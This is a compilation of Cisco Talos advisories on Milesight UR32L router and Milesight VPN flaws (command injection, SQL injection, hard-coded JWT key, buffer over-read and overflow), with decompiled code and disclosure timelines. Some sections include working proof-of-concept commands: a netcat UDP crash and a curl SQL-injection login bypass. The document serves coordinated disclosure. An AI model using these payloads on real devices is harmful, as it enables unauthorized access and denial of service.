Two OS command injection vulnerabilities exist in the urvpn_client cmd_name_action functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to arbitrary command execution. An attacker can send a network request to trigger these vulnerabilities.This OS command injection is triggered through a UDP packet.

**SUMMARY**

Two OS command injection vulnerabilities exist in the urvpn\_client cmd\_name\_action functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to arbitrary command execution. An attacker can send a network request to trigger these vulnerabilities.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-77 - Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

**DETAILS**

The Milesight UR32L is an industrial radio router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router offers a service called Milesight VPN, which will connect to the Milesight VPN software. The binary client used for this service is urvpn_client. This binary will connect to the specified Milesight VPN server but will also listen for network request to allow the sender to change VPN settings. The function that will, eventually, parse the received data and modify the VPN settings is the urvpn_client’sexecute_urvpn_command function:

    undefined4 execute_urvpn_command(byte *data_buff)
    
    {
      [... variable declaration ...]
    
      json = utils_parse_string2json_object(data_buff);
      [... variable initialization ...]
      if (json == 0) {
        uVar2 = 0xffffffff;
      }
      else {
        json_get_value_by_key(json,"type",type_value,0x40);
        is_equal = strcmp(type_value,"cmd_reconnect");
        if (is_equal == 0) {
          sleep(5);
          cmd_reconnect_action();
        }
        else {
          is_equal = strcmp(type_value,"cmd_subnet");
          if (is_equal == 0) {
            [...]
          }
          else {
            is_equal = strcmp(type_value,"cmd_name");
            if (is_equal == 0) {
              json_get_value_by_key(json,"name",cmd_name,0x40);                                             [1]
              cmd_name_action(cmd_name);
            }
          }
        }
       [...]
      }
      [...]
    }
    

This function parses a JSON. Based on the value of the string corresponding to the key type, the function will execute a specific command. If the type value is equal to cmd_name, the code at [1] will be reached and the cmd_name_action function will be called with, as argument, the string value corresponding to the key name in the JSON.

Following the cmd_name_action function:

    undefined4 cmd_name_action(char* cmd_name)
    
    {
      [...]
      snprintf((char *)&formatted_string,0x200,
               "ubus call yruo_urvpn set \'{\"base\":\"urvpn_manage\", \"value\":{\"action\":2,\"device_ name\":\"%s\"}}\'"
               ,cmd_name);
      [...]
      system((char *)&formatted_string);                                                                    [2]
      return 0;
    }
    

This function uses the provided name string value to compose a shell command that will be execute, at [2], through the system function. This can lead to an OS command injection vulnerability.

There are two code paths to reach this vulnerable function, which are described as follows.

**CVE-2023-24582 - TCP handler**

It is possible to reach the execute_urvpn_command function through a TCP connection. The function that will manage this connection is tcp_execute_urvpn_command_wrap:

    void tcp_execute_urvpn_command_wrap(undefined4 bufev,undefined4 param_2)
    
    {
      [... variable declaration ...]
    
      local_20 = param_2;
      local_1c = bufev;
      start_evbuff_ptr = bufferevent_get_input(bufev);
      input_line = (byte *)0x0;
      evbuffer_search_eol(ev_buffer,start_evbuff_ptr,0,&local_14,0);
      if (local_14 == 0) {
        [...]
      }
      else {
        input_line = (byte *)evbuffer_readln(start_evbuff_ptr,0,0);
        if (input_line != (byte *)0x0) {
          log_stuff("comtcpip.c",0x4d,"_comtcpip_readcb",2,"reveive TCP :%s",input_line);
          execute_urvpn_command(input_line);
          [...]
        }
      }
      [...]
    } The function will receive the JSON data and eventually call the `execute_urvpn_command` with, as argument, the JSON received. No checks are performed on the received data that will eventually reach the `cmd_name_action`.
    

**CVE-2023-24583 - UDP handler**

It is possible to reach the execute_urvpn_command function through a UDP connection. The function that will manage this connection is tcp_execute_urvpn_command_wrap:

    undefined4 udp_execute_urvpn_command_wrap(int socket)
    
    {
      [... variable declaration ...]
    
      recv_buff._0_4_ = 0;
      memset(recv_buff + 4,0,0x3fc);
      local_410 = 0x10;
      memset(recv_buff,0,0x400);
      sVar1 = recvfrom(socket,recv_buff,0x400,0,&sStack_420,&local_410);
      if (sVar1 == -1) {
        [...]
      }
      else if (sVar1 == 0) {
        [...]
      }
      else {
        log_stuff("comudp.c",0x29,"udp_read_cb",1,"Udp Read :[%s]",recv_buff);
        uVar4 = execute_urvpn_command((byte *)recv_buff);
      }
      [...]
    } The function will receive the JSON data and eventually call the `execute_urvpn_command` with, as argument, the JSON received. No checks are performed on the received data that will eventually reach the `cmd_name_action`.
    

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-24583: TALOS-2023-1710 || Cisco Talos Intelligence Group

An OS command injection vulnerability exists in the vtysh_ubus _get_fw_logs functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to command execution. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An OS command injection vulnerability exists in the vtysh\_ubus \_get\_fw\_logs functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to command execution. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.8 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**DETAILS**

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The Milesight router offers several functionalities through the /cgi endpoint. The “core” functionality we are considering is called yruo_debug_firewall. In this “core” there is a function called “get”. The function that manages this functionality is the vtysh_ubus’s fw_logs_get function:

    void fw_logs_get(undefined4 param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4,
                    undefined4 *data)
    
    {
      [... variable declaration ...]
      
      [... variable initialization ...]
      json_msg_output("!! yruo_fw_logs.get params",data);
      blob_buf_init(b,0);
      data_len = __bswapsi2(*data);
      blobmsg_parse(fw_logs_get_policy,2,tb,data + 1,(data_len & 0xffffff) - 4);                            [1]
      if (tb[0] != (blob_attr *)0x0) {
        base_value_ptr = (char *)blobmsg_get_string(tb[0]);
        strncpy(tb_base_value,base_value_ptr,0x20);
        system_ptr = (system_base_struct *)get_handler_bybase(&debug_bases,1,tb_base_value);                [2]
        if (system_ptr != (system_base_struct *)0x0) {
          switch_to_enable_node();
          _get_fw_logs = (code *)system_ptr->get_func;
          if ((_get_fw_logs != (code *)0x0) &&
             (_get_fw_logs = (code *)(*_get_fw_logs)(tb,"get"), _get_fw_logs == (code *)0x0))               [3]
          [...]
            [...]
          }
        }
      }
      [...]
    }
    

The data are transmitted through blobmsg structures. The two variable that are parsed into the tb array, at [1], are: - base: this value must be equal to “firewall\_log”, otherwise no functionality will be performed. The value of this data will be parsed in the tb[0] variable. - command: this value will be used as argument of the iptables shell command. The value of this data will be parsed in the tb[1] variable.

At [2] the base value will be used to get a struct handler that in the code is called system_ptr. Because there is only, in this case, one valid value for base, we know the struct fetched has as value of the system_ptr->get_func the _get_fw_logs function pointer. At [3] the _get_fw_logs function will be called:

    void _get_fw_logs(blob_attr **tb, char* type)
    
    {
      [... variable declaration ...]
    
      [... variable initialization ...]
       = (undefined4 *)zcalloc(1,8);
      if (two_word != (undefined4 *)0x0) {
        command = tb[1];                                                                                    [4]
        [...]
        if ((command != (blob_attr *)0x0) &&
           (command_string = (char *)blobmsg_get_string(command), *command_string != '\0')) {
          dup_command = zstrdup(1,command_string);
          [...]
          command_string = (char *)(dup_command + -1);
          do {
            command_string = command_string + 1;
            command_string_cursor = *command_string;
            if (command_string_cursor == '\0') {
              snprintf(iptables_command,0x100,"iptables -w %s",dup_command);                                [5]
              zlog_debug("exec fw command(%s)\n",iptables_command);
              __stream = popen(iptables_command,"r");                                                       [6]
              [...]
              }
              [...]
            }
          } while (command_string_cursor != '&' && command_string_cursor != ';');
          [...]
        }
      }
      [...]
    } This function takes as first argument the `fw_logs_get`'s `tb` variable pointer. Then, at `[4]`, `tb[1]` is used to fetch the `command` argument sent in the `/cgi` API. The `command` variable is used, at `[5]`, to compose the `iptables -w <command>` string. This is then used at `[6]` as the argument for the `popen` function, effectively executing the  `iptables -w <command>` shell command.
    

The payload for the /cgi API to execute the “get” function in the “yruo\_debug\_firewall” core would look likes this:

    {
    "id":60,
    "execute":10,
    "core":"yruo_debug_firewall",
    "function":"get",
    "values":[
        {
            "base":"firewall_log",
            "command":"-S",
            }
        ]
    }
    

This would execute the iptables -W -S command listing all the iptables rules.

Because no exhaustive checks are performed on the command parameters until it reaches the popen function, this leads to an OS command injection vulnerability.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-22299: TALOS-2023-1712 || Cisco Talos Intelligence Group

An OS command injection vulnerability exists in the vtysh_ubus tcpdump_start_cb functionality of Milesight UR32L v32.3.0.5. A specially crafted HTTP request can lead to command execution. An attacker can send an HTTP request to trigger this vulnerability.

**SUMMARY**

An OS command injection vulnerability exists in the vtysh\_ubus tcpdump\_start\_cb functionality of Milesight UR32L v32.3.0.5. A specially crafted HTTP request can lead to command execution. An attacker can send an HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.8 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**DETAILS**

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The Milesight router offers several functionalities through the /cgi endpoint. The “core” functionality we are considering is called yruo_tools. In this “core” there is one function called “tcpdump\_start”. This API is used to execute the command “tcpdump” using the provided data, following the vtysh_ubus’s tcpdump_start_cb function, responsible for managing the “tcpdump\_start” functionality:

    void tcpdump_start_cb(undefined4 param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4,
                         undefined4 *param_5)
    
    {
        [... variable declaration ...]
    
        [... variable initialization ...]
        [...]
        if ((param_advanced == (blob_attr *)0x0) ||
             (advanced_value = (char *)blobmsg_get_string(param_advanced), *advanced == '\0')) {
            [...]
            interface_value = (char *)blobmsg_get_string(param_interface]);
            [...]
            strncpy(interface_ptr,interface_value,0x80);
            snprintf(last_param.interface,0x80,"%s",interface_ptr);
            is_equal = strcmp(interface_ptr,"Any");
            if (is_equal == 0) {
              interface_ptr = "any";
              interface_ptr_dup = zstrdup(1,interface_ptr);
            }
            else {
              interface_ptr_dup = if_name_display2ori(interface_ptr);
              [...]
            }
            snprintf(tcpdump_options_string,0x100,"-i %s",interface_ptr_dup);
            [...]
            if (0 < (int)port) {
                last_param.port = port;
                len = strlen(tcpdump_options_string);
                snprintf(tcpdump_options_string + len,0x100 - len," port %d",port);                       [1]
            }
            [...]
            if (param_ip != (blob_attr *)0x0) {
                ip_value = (char *)blobmsg_get_string(param_ip);
                strncpy(host_string,ip_value,0x80);
                if (*host_string != 0) {
                    snprintf(last_param.host,0x80,"%s",host_string);
                    len = strlen(tcpdump_options_string);
                    if ((int)port < 0) {
                      temp = "";
                    }
                    else {
                      temp = " and";
                    }
                    snprintf(tcpdump_options_string + len,0x100 - len,"%s host %s",temp,host_string);       [2]
                }
            }
            [...]
      }
      else {
        strncpy(advanced_param_buff,advanced_value,0x100);
        strtok(advanced_param_buff,";");
        strtok(advanced_param_buff,"|");
        temp = advanced_param_buff._0_4_ & 0xff;
        if (temp != 0) {
          snprintf(last_param.advance,0x100,"%s",advanced_param_buff);
          snprintf(tcpdump_options_string,0x100," %s",advanced_param_buff);                                 [3]
          [...]
        }
      }
      [... populate the dest_location variable with the destination of the recorded pcap ...]
      [...]
      len = strlen(tcpdump_options_string);
      snprintf(tcpdump_options_string + len,0x100 - len," -w %s",dest_location);
      snprintf(shell_command,0x200,"%s %s \"%s\" \"%s\" \"%s\" 2>&1 &","/usr/sbin/webtools.sh","tcpdump"
               ,tcpdump_options_string,dest_location,"/tmp/webtcpdump.lock");                               [4]
      [...]
      system(shell_command);                                                                                [5]
      [...]
    }
    

This function parses, at most, four possible params: “interface”, “ip”, “port” and “advanced”. If the “advanced” param is present and not empty, the other three are ignored. Otherwise, if the “advanced” param is not present or its value is empty, then the function will parse the “interface”, “ip” and “port”.

Eventually the code at [4] is reached and the string '/usr/sbin/webtools.sh tcpdump "<tcpdump_options_string>" "dest_location" "/tmp/webtcpdump.lock" 2>&1 &' is composed. The tcpdump_options_string is composed using the provided parameters. For instance, at [1] is appended the ' port <port>' string, and at [2] the ' host <host>' or ' and host <host>' is appended, based on the presence of the “port” parameter. Otherwise, if the “advanced” parameter is present, neither [1] or [2] are reached, but instead the code at [3] is executed.

Following are two example of commands that will result in the same composed string:

    {
        "id":60,
        "execute":1,
        "core":"yruo_tools",
        "function":"tcpdump_start",
        "values":[
            {
                "interface":"Any",
                "ip":"192.168.0.100",
                "port":12345,
                "advanced":""
            }
        ]
    } The above command uses the "interface", "ip" and "port" params.
    
    {
        "id":60,
        "execute":1,
        "core":"yruo_tools",
        "function":"tcpdump_start",
        "values":[
            {
                "interface":"",
                "ip":"",
                "port":"",
                "advanced":"-i any port 12345 and host 192.168.0.100"
            }
        ]
    } The above command uses only the "advanced" param.
    

Eventually the string composed at [4] will be used as argument of the system function at [5]. No particular checks are performed against the parameters provided, which can lead to an OS command injection.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-22653: TALOS-2023-1714 || Cisco Talos Intelligence Group

An authentication bypass vulnerability exists in the requestHandlers.js verifyToken functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to authentication bypass. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An authentication bypass vulnerability exists in the requestHandlers.js verifyToken functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to authentication bypass. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight VPN v2.0.2

**PRODUCT URLS**

MilesightVPN - https://www.milesight-iot.com/milesightvpn/

**CVSSv3 SCORE**

7.3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

**CWE**

CWE-321 - Use of Hard-coded Cryptographic Key

**DETAILS**

The MilesightVPN is software that make the process easier of setting up the VPN tunnel for Milesight products, as well as allows monitoring the connection status with a web server interface.

The MilesightVPN allows to manages the various VPN related configuration and the connected devices through its web interface. The web interface is protected by a login, the web interface verify if the user has the permission to access the webpage through a JSON Web Token.

The function to generate the JWT is generateToken:

    function generateToken(data){
        var created=Math.floor(Date.now()/1000);
        var cert=fs.readFileSync(path.join(__dirname,'./https/privkey.pem'));
        var token=jwt.sign({
            data,
            exp:created+expiretime
        },cert,{algorithm:'RS256'});
        return token;
    }
    

And the function to verify the JWT is verifyToken:

    function verifyToken(token){
        var rt={};
        var cert=fs.readFileSync(path.join(__dirname,'./https/public.pem'));
        try{
            var result=jwt.verify(token,cert,{algorithm:['RS256']})||{};
            var exp=result.exp?result.exp:0,current=Math.floor(Date.now()/1000);
            if(current<=exp)
            {
                rt=result.data||{};
            }
        }
        catch(e){
        }
        return rt;
    }
    

Because the public and private key used for these processes are not generated randomly during the installation of the MilesightVPN but, instead, are static in the installation folder, this make forging a JWT a trivial task, for this reason the web interface is vulnerable to an authentication bypass due to the possibilities of forging valid JWT.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-22844: TALOS-2023-1700 || Cisco Talos Intelligence Group

An access violation vulnerability exists in the eventcore functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to denial of service. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An access violation vulnerability exists in the eventcore functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to denial of service. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.2 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

**CWE**

CWE-126 - Buffer Over-read

**DETAILS**

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router can be set up to trigger an action after a particular event occurs. For instance, it is possible to send an e-mail or an SMS after a device reboots. Other actions and events exist. The binary that actually performs the action, after a particular event occurs, is eventcore.

The eventcore binary has a thread that waits for data that seems to be used to query the SQLite3 database used to archive the various event-related information. Following the recv_data_thread function that manages the reception of the data:

    undefined4 recv_data_thread(int *socket)
    
    {
     [... variable declaration ...]
    
      [... variable initialization ...]
      memset(chunk_buff + 4,0,0x1fc);
      [... variable initialization ...]
      
      if (socket == (int *)0x0) {
        syslog(3,"param is null\n");
      }
      else {
        socket_ = *socket;
        if (socket_ < 1) {
          syslog(3,"udp fd less than 0.\n");
        }
        else {
          message = (char *)malloc_and_memset(0x800);
          if (message != (char *)0x0) {
            memset(message,0,0x800);
            do {
              while( true ) {
                memset(chunk_buff,0,0x200);
                message_strlen = strlen(message);
                recv_length = recv_wrap(socket_,chunk_buff,0x1ff,&src_addr);                                [1]
                if ((chunk_buff[0] == '\0') || (recv_length != 0x1ff)) break;
                memcpy(message + message_strlen,chunk_buff,0x800 - message_strlen);                         [2]
              }
              [...]
            }
          }
          [...]
    }
    

The function executes a loop where it received at most 0x1ff bytes into the chunk_buff buffer, then the content of the chunk_buff is appended into the message buffer.

The chunk_buff buffer is correctly sized with 512 bytes available, so the read at [1] is correct. At [2] the memcpy copies the size 0x800 - message_strlen from chunk_buff into message. So, the first memcpy will copy 0x800 bytes from a buffer of 0x1ff bytes. This leads to a buffer over-read. Furthermore, the thread starts with a fresh stack, which implies that the stack buffer chunk_buff is close to end of the stack and a buffer over-read will cause a SIGSEGV.

Debugging the process, it is easy to understand this problem:

    memcpy@plt (                                                                                                                                                                                  
        $r0 = 0x00043730 → 0x00000000,                                                                                                                                                             
        $r1 = 0x76de4b0c → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]",                                                                                                              
        $r2 = 0x00000800,                                                                                                                                                                          
    )  The `$r2` register contains the address of the `chunk_buff` buffer; in this case, it is  `0x76de4b0c`. Following the thread stack region and the region adjacent:
    
    0x76bf0000 0x76de5000 0x00000000 rw-
    0x76de5000 0x76de6000 0x00000000 --- 
    

The bytes between chunk_buff, at 0x76de4b0c, and the end of thread’s stack region, at 0x76de5000, is 0x4f4 bytes. So, reading 0x800 bytes from chunk_buff implies it will try to access outside the stack region.

**Crash Information**

    Thread 5 "eventcore" received signal SIGSEGV, Segmentation fault.
    0x76f3d540 in memcpy () from target:/lib/ld-musl-armhf.so.1
    [ Legend: Modified register | Code | Heap | Stack | String ]
    ──── registers ────                                               
    $r0  : 0x76ef2a20  →  0x00000000
    $r1  : 0x76d67ffc  →  0x00000000
    $r2  : 0x2f0
    $r3  : 0x10
    $r4  : 0x0
    $r5  : 0x0
    $r6  : 0x0
    $r7  : 0x0
    $r8  : 0x0
    $r9  : 0x0
    $r10 : 0x0
    $r11 : 0x0
    $r12 : 0x0
    $sp  : 0x76d67ac8  →  0x76f417ac  →   ldr r3,  [r0,  #140]      ; 0x8c
    $lr  : 0x00012e7c  →  0xea000034 ("4"?)
    $pc  : 0x76f3d540  →  <memcpy+140> ldm r1!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
    $cpsr: [negative zero CARRY overflow interrupt fast thumb]
    ──── stack ────                                               
    0x76d67ac8│+0x0000: 0x76f417ac  →   ldr r3,  [r0,  #140]        ; 0x8c   ← $sp
    0x76d67acc│+0x0004: 0x76d67d44  →  0x76d67d44  →  [loop detected]
    0x76d67ad0│+0x0008: 0x00000078 ("x"?)
    0x76d67ad4│+0x000c: 0x7eac7d34  →  0x00000000
    0x76d67ad8│+0x0010: 0x76f68540  →  0x00000000
    0x76d67adc│+0x0014: 0x76d67d44  →  0x76d67d44  →  [loop detected]
    0x76d67ae0│+0x0018: 0x76d67d24  →  0x76f41830  →   bl 0x76f41628 <pthread_exit>
    0x76d67ae4│+0x001c: 0x76ef2530  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
    ──── code:arm:ARM ────                                               
       0x76f3d534 <memcpy+128>     sub    r2,  r2,  r3
       0x76f3d538 <memcpy+132>     subs   r2,  r2,  #32
       0x76f3d53c <memcpy+136>     bcc    0x76f3d554 <memcpy+160>
     → 0x76f3d540 <memcpy+140>     ldm    r1!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
       0x76f3d544 <memcpy+144>     subs   r2,  r2,  #32
       0x76f3d548 <memcpy+148>     stmia  r0!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
       0x76f3d54c <memcpy+152>     bcs    0x76f3d540 <memcpy+140>
       0x76f3d550 <memcpy+156>     add    r2,  r2,  #32
       0x76f3d554 <memcpy+160>     tst    r2,  #31
    ──── threads ────                                               
    [#0] Id 1, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#1] Id 2, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#2] Id 3, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#3] Id 4, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#4] Id 5, Name: "eventcore", stopped 0x76f3d540 in memcpy (), reason: SIGSEGV
    ──── trace ────                                               
    [#0] 0x76f3d540 → memcpy()
    [#1] 0x12e7c → b 0x12f54
    

**Exploit Proof of Concept**

Executing the following bash command will result in the crash of the eventcore binary:

    echo `python -c "print('A'*0x1ff)"` | nc -u <ROUTER_IP> 9001
    

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-23571: TALOS-2023-1696 || Cisco Talos Intelligence Group

A sql injection vulnerability exists in the requestHandlers.js LoginAuth functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to authentication bypass. An attacker can send a malicious packet to trigger this vulnerability.

**SUMMARY**

A sql injection vulnerability exists in the requestHandlers.js LoginAuth functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to authentication bypass. An attacker can send a malicious packet to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight VPN v2.0.2

**PRODUCT URLS**

MilesightVPN - https://www.milesight-iot.com/milesightvpn/

**CVSSv3 SCORE**

7.3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

**CWE**

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

**DETAILS**

The MilesightVPN is software that make the process easier of setting up the VPN tunnel for Milesight products, as well as allows monitoring the connection status with a web server interface.

The MilesightVPN allow to manages the various VPN related configuration and the connected devices through its web interface. The web interface is protected by a login, the responsibility of checking the correctness of the provided credentials is of the requestHandlers.js’s LoginAuth function:

    function LoginAuth(res,postdata,connection){
        console.info('#######log.node:loginauth start');
        var sha512=crypto.createHash('sha512');
        sha512.update(postdata.pwd);
        var pwd=sha512.digest('hex');
        $sql="select * from user where user='"+postdata.user+"' and passwd='"+pwd+"'";                      [1]
        connection.query($sql).then(function(data){                                                         [2]
            var result={};
            if(data['error'])
            {
                [...]
            }
            else
            {
                if(data['result'].length>0)
                {
                    var dt=data['result'];
                    result['status']=1;
                    var token=generateToken(dt[0]['user']);
                    var exp=new Date(new Date().getTime()+expiretime*1000).toUTCString();
                    res.setHeader('Set-Cookie',['token='+token]);
                    console.info('#######log.node:loginauth success');
                    res.write(JSON.stringify(result));
                    res.end();
                }
                else
                {
                    [...]
                }
            }
        });
    }
    

The function compose, at [1], the SQL query for checking if the username and password provided correspond to the one of an existing user. Then, at [2], the query is executed, if the resulting table is not empty a JWT, corresponding to the matched user, is crafted and placed in the response header as value of Set-Cookie.

This function is vulnerable to an SQL injection vulnerability, indeed, the composition of the query string is performed through string concatenation instead of a prepare statement. This SQL injection can lead to an authentication bypass.

**Exploit Proof of Concept**

Following a POC that demonstrates the SQL injection in the login procedure discussed above:

    curl -i -k -d "user=admin' -- &pwd=POC" -X POST https://<SERVER_ADDRESS>/LoginAuth 
    
    HTTP/1.1 200 OK
    Set-Cookie: token=<redacted>
    Date: [...]
    Connection: keep-alive
    Transfer-Encoding: chunked
    
    {"status":1}
    

The {"status":1} show that the login procedure found a match for the data provided.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-22319: TALOS-2023-1701 || Cisco Talos Intelligence Group

Multiple buffer overflow vulnerabilities exist in the vtysh_ubus binary of Milesight UR32L v32.3.0.5 due to the use of an unsafe sprintf pattern. A specially crafted HTTP request can lead to a buffer overflow. An attacker can send HTTP requests to trigger these vulnerabilities.This buffer overflow occurs in the set_openvpn_client function with the remote_subnet and the remote_mask variables.

CVE-2023-25124: TALOS-2023-1716 || Cisco Talos Intelligence Group

A stack-based buffer overflow vulnerability exists in the libzebra.so.0.0.0 security_decrypt_password functionality of Milesight UR32L v32.3.0.5. A specially crafted HTTP request can lead to a buffer overflow. An authenticated attacker can send an HTTP request to trigger this vulnerability.

**SUMMARY**

A stack-based buffer overflow vulnerability exists in the libzebra.so.0.0.0 security\_decrypt\_password functionality of Milesight UR32L v32.3.0.5. A specially crafted HTTP request can lead to a buffer overflow. An authenticated attacker can send an HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.8 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-121 - Stack-based Buffer Overflow

**DETAILS**

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The Milesight router offers several functionalities through the /cgi endpoint. The “core” functionality we are considering is called yruo_usermanagement. In this “core” there is one function called “set”. This API is used to change user related settings (for example, changing the password of a specific user). Following the vtysh_ubus’s usermng_set function, responsible for managing the “set” functionality:

        void usermng_set(undefined4 param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4,
                        undefined4 *param_5)
    
        {
        [... variable declaration ...]
    
        [... variable initialization ...]
        [...]
        value_obj = (void *)blob_memdup(tb_outer.values);
        data = (void *)blobmsg_data(value_obj);
        values_obj_n = blobmsg_data_len(value_obj);
        blobmsg_parse(usermng_set_value_policy,7,tb_inner,data,values_obj_n);
        [...]
        if (((tb_inner[4] != (blob_attr *)0x0) && (tb_inner[5] != (blob_attr *)0x0)) &&
         (tb_inner[6] != (blob_attr *)0x0)) {
            tmp_encrypted = blobmsg_get_string((char *)tb_inner[4]);                                        [1]
            security_decrypt_password(tmp_encrypted,old_password_decrypted,0x20);
